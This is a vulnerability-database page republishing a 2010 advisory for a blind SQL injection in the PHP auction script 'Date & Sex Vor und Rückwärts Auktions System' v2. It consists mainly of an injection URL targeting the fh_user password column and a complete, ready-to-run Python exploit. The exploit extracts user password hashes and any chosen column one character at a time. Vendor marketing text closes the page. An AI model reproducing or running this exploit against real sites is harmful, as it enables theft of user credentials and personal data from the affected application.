Lucene search
K

Date & Sex Vor und Rückwärts Auktions System <= 2 - Blind SQL Injection Exploit

🗓️ 02 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

Date & Sex Vor und Rückwärts Auktions System <= v2 Blind SQL Injection Exploit by Easy Laster. Python exploit for extracting user password

Code

                                                ---------------------------Information------------------------------------------------
+Name : Date &amp; Sex Vor und Rückwärts Auktions System &lt;= v2 Blind SQL Injection Exploit
+Autor : Easy Laster
+Date   : 27.03.2010
+Script  : Date &amp; Sex Vor und Rückwärts Auktions System &lt;= v2
+Download : ------------------
+Demo : http://phpspezial.de/date-auktion-v2/
+Price : 599.99€
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/flirt/auktion_text.php?id_auk=

#password
+Exploitable   : http://www.site.com/flirt/auktion_text.php?id_auk=1+and+1=1+and+
ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))&gt;1


-----------------------------------------------------------------------------------------

#Exploit

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, getopt

def out(str):
    sys.stdout.write(str)
    sys.stdout.flush()

def read_url(url):
    while True:
        try:
            src = urllib2.urlopen(url).read()
            break
        except:
            pass
    return src

class Exploit:
    charset = &quot;0123456789abcdefABCDEF&quot;
    url = &quot;&quot;
    charn = 1
    id = 1
    table_prefix = &quot;&quot;
    table_field = &quot;&quot;
    passwd = &quot;&quot;
    columns = []
    find_passwd = True

    def __init__(self):
        if len(sys.argv) &lt; 2:
            print &quot;*****************************************************************************&quot;
            print &quot;*Date&amp;Sex Vor und Rückwärts Auktions System &lt;=v2 Blind SQL Injection Exploit*&quot;
            print &quot;*****************************************************************************&quot;
            print &quot;*                Discovered and vulnerability by Easy Laster                *&quot;
            print &quot;*                             coded by Dr.ChAoS                             *&quot;
            print &quot;*****************************************************************************&quot;
            print &quot;* Usage:                                                                    *&quot;
            print &quot;* python exploit.py [OPTION...] [SWITCH...] &lt;url&gt;                           *&quot;
            print &quot;*                                                                           *&quot;
            print &quot;* Example:                                                                  *&quot;
            print &quot;*                                                                           *&quot;
            print &quot;* Get the password of the user with id 2:                                   *&quot;
            print &quot;* python exploit.py --id 2 http://site.de/path/                             *&quot;
            print &quot;*                                                                           *&quot;
            print &quot;* Get email, username and password of id 1:                                 *&quot;
            print &quot;* python exploit.py --columns 80:1:email,25:5:username http://site.de/      *&quot;
            print &quot;*                                                                           *&quot;
            print &quot;* Switches:                                                                 *&quot;
            print &quot;* --nopw                                  Search no password                *&quot;
            print &quot;*                                                                           *&quot;
            print &quot;* Options:                                                                  *&quot;
            print &quot;* --id &lt;user id&gt;                          User id                           *&quot;
            print &quot;* --prefix &lt;table prefix&gt;                 Table prefix of ECP               *&quot;
            print &quot;* --charn &lt;1 - 32, default = 1&gt;           Start at position x               *&quot;
            print &quot;* --columns &lt;max_chars:charn:column,...&gt;  Get value of any column you want  *&quot;
            print &quot;*****************************************************************************&quot;
            exit()
        opts, switches = getopt.getopt(sys.argv[1:], &quot;&quot;, [&quot;id=&quot;, &quot;prefix=&quot;, &quot;charn=&quot;, &quot;columns=&quot;, &quot;nopw&quot;])
        for opt in opts:
            if opt[0] == &quot;--id&quot;:
                self.id = int(opt[1])
            elif opt[0] == &quot;--prefix&quot;:
                self.table_prefix = opt[1]
            elif opt[0] == &quot;--charn&quot;:
                self.charn = int(opt[1])
            elif opt[0] == &quot;--columns&quot;:
                for col in opt[1].split(&quot;,&quot;):
                    max, charx, name = col.split(&quot;:&quot;)
                    self.columns.append([int(max), int(charx), name, &quot;&quot;])
            elif opt[0] == &quot;--nopw&quot;:
                self.find_passwd = False
        for switch in switches:
            if switch[:4] == &quot;http&quot;:
                if switch[-1:] == &quot;/&quot;:
                    self.url = switch
                else:
                    self.url = switch + &quot;/&quot;
    def generate_url(self, ascii):
        return self.url + &quot;auktion_text.php?id_auk=1+and+1=1+and+ascii(substring((SELECT%20&quot; + self.table_field + &quot;%20FROM%20&quot; + self.table_prefix + &quot;fh_user+WHERE+iduser=&quot; + str(self.id) + &quot;%20LIMIT%200,1),&quot; + str(self.charn) + &quot;,1))%3E&quot; + str(ord(ascii))
    def start(self):
        print &quot;Exploiting...&quot;
        if self.find_passwd:
            charx = self.charn
            self.password()
        if len(self.columns) &gt; 0:
            self.read_columns()
        print &quot;All finished!\n&quot;
        print &quot;------ Results ------&quot;
        if len(self.columns) &gt; 0:
            for v in self.columns:
                print &quot;Column \&quot;&quot; + v[2] + &quot;\&quot;: &quot; + v[3]
        if self.find_passwd:
            if len(self.passwd) == 32 - charx + 1:
                print &quot;Password: &quot; + self.passwd
            else:
                print &quot;Password not found!&quot;
        print &quot;--------------------&quot;
    def read_columns(self):
        end = False
        charrange = [0]
        charrange.extend(range(32, 256))
        for i in range(len(self.columns)):
            out(&quot;Getting value of \&quot;&quot; + self.columns[i][2] + &quot;\&quot;: &quot;)
            self.table_field = self.columns[i][2]
            self.charn = self.columns[i][1]
            for pwc in range(self.charn, self.columns[i][0] + 1):
                if end == True:
                    break
                self.charn = pwc
                end = False
                for c in charrange:
                    src = read_url(self.generate_url(chr(c)))
                    if &quot;test&quot; not in src:
                        if c == 0:
                            end = True
                        else:
                            self.columns[i][3] += chr(c)
                            out(chr(c))
                        break
            out(&quot;\n&quot;)
    def password(self):
        out(&quot;Getting password: &quot;)
        self.table_field = &quot;password&quot;
        for pwc in range(self.charn, 33):
            self.charn = pwc
            for c in self.charset:
                src = read_url(self.generate_url(c))
                if &quot;test&quot; not in src:
                    self.passwd += c
                    out(c)
                    break
        out(&quot;\n&quot;)

exploit = Exploit()
exploit.start()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation